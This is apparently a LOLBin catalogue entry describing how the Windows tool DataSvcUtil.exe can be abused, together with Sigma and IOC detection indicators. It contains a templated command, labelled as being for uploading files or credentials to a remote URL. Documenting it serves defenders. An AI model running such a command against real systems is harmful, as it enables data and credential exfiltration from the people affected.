windows enabled community medium v1.0.0

datasvcutil

DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application. Located at: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe.

📋 Live Preview
datasvcutil
datasvcutil

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.upload

Contract

Outputs

process.output

Command execution output

Side effects: network_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Upload file, credentials or data exfiltration in general (Upload file)

DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
ioc The DataSvcUtil.exe tool is installed in the .NET Framework directory.
ioc Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
ioc Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.

Documentation

datasvcutil

datasvcutil is a Windows LOLBin. DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application. Located at: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe.

References